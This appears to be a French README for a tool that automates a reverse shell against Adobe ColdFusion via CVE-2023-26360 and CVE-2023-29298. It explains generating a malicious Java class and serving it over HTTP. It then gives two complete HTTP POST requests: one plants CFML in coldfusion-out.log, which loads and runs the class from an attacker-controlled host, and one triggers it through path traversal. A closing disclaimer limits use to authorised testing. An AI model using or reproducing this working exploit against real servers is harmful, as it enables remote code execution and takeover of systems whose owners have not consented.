
Adobe ColdFusion CVE-2023-26360/CVE-2023-29298 implémentation automatisée de reverse shell
Outil de rebond pour les failles CVE-2023-29298/CVE-2023-26360
Le principe de la vulnérabilité est que les données de requête client CFML que nous construisons sont sauvegardées dans le fichier coldfusion-out.log du serveur. Ce répertoire enregistre les messages d'erreur des requêtes. Le fichier coldfusion-out.log contient donc le code que nous avons écrit. Ensuite, nous utilisons le nom de classe pour lire et exécuter ce fichier journal, ce qui permet d'exécuter du code.
J'ai une idée : placer une classe malveillante sur le serveur, puis la télécharger, la sauvegarder et l'appeler via cette vulnérabilité. Celle-ci va charger dynamiquement la classe et exécuter notre fichier .class.
Nous écrivons un script qui génère une archive compressée contenant :
Dans le répertoire code de l'archive :
utilize
├── address
└── Poc.class
Poc.java contient principalement le code de rebond.
address stocke l'adresse et le port.
Implémenter la fonctionnalité ci-dessus est très, très compliqué. J'ai écrit un outil de génération automatique qui construit le bytecode Java, définit l'IP et le port de rebond, puis démarre un serveur web.
nom_de_l_outil -host <IP de rebond> -port <port de rebond> -p <port HTTP (par défaut 8888)>

Regardez

Ensuite, envoyez une requête pour écrire le code d'erreur dans le journal. Modifiez http://192.168.191.58:8888/GjfZgo dans la partie POST ci-dessous pour y mettre l'adresse du service démarré.
POST //cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: 192.168.56.105:8500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 816
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
_variables=%7b%3ccftry%3e%3ccfset%20szlh%20%3d%20createObject%28%27java%27%2c%27java.net.URL%27%29.init%28%27http://192.168.191.58:8888/GjfZgo%27%29/%3e%3ccfset%20cafb%20%3d%20createObject%28%27java%27%2c%27java.lang.reflect.Array%27%29/%3e%3ccfset%20ireh%20%3d%20cafb.newInstance%28szlh.getClass%28%29%2c1%29/%3e%3ccfset%20cafb.set%28ireh%2c0%2cszlh%29/%3e%3ccfset%20fxlt%20%3d%20createObject%28%27java%27%2c%27java.net.URLClassLoader%27%29.init%28ireh%2cjavaCast%28%27null%27%2c%27%27%29%29/%3e%3ccfset%20fxlt.loadClass%28%27code.Payload%27%29.newInstance%28%29.main%28javaCast%28%27null%27%2c%27%27%29%29/%3e%3ccfcatch%20type%3d%27any%27%3e%3c/cfcatch%3e%3ccffinally%3e%3ccffile%20action%3d%27write%27%20file%3d%27%23GetCurrentTemplatePath%28%29%23%27%20output%3d%27%27%3e%3c/cffile%3e%3c/cffinally%3e%3c/cftry%3e
Ensuite, exécutez le code contenu dans le journal (fixe, envoyé directement) :
POST //cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: 192.168.56.105:8500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 85
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
_variables={"_metadata":{"classname":"l/../logs/coldfusion-out.log"},"_variables":[]}
Exécutez et vérifiez : la connexion est établie.

Cet outil de sécurité est destiné uniquement à la recherche technique et à des fins éducatives. Lors de son utilisation, veuillez respecter les lois et règlements applicables ainsi que les normes éthiques.
Cet outil peut impliquer des tests de vulnérabilités de sécurité et des tests d'intrusion, mais veuillez l'utiliser uniquement dans un cadre autorisé. L'auteur décline toute responsabilité en cas d'utilisation non autorisée.
L'utilisation de cet outil peut comporter certains risques et incertitudes. L'utilisateur assume l'ensemble des risques liés à son utilisation.
L'utilisateur de cet outil assume l'ensemble des risques et responsabilités. Le développeur décline toute responsabilité quant aux conséquences de l'utilisation de cet outil par l'utilisateur.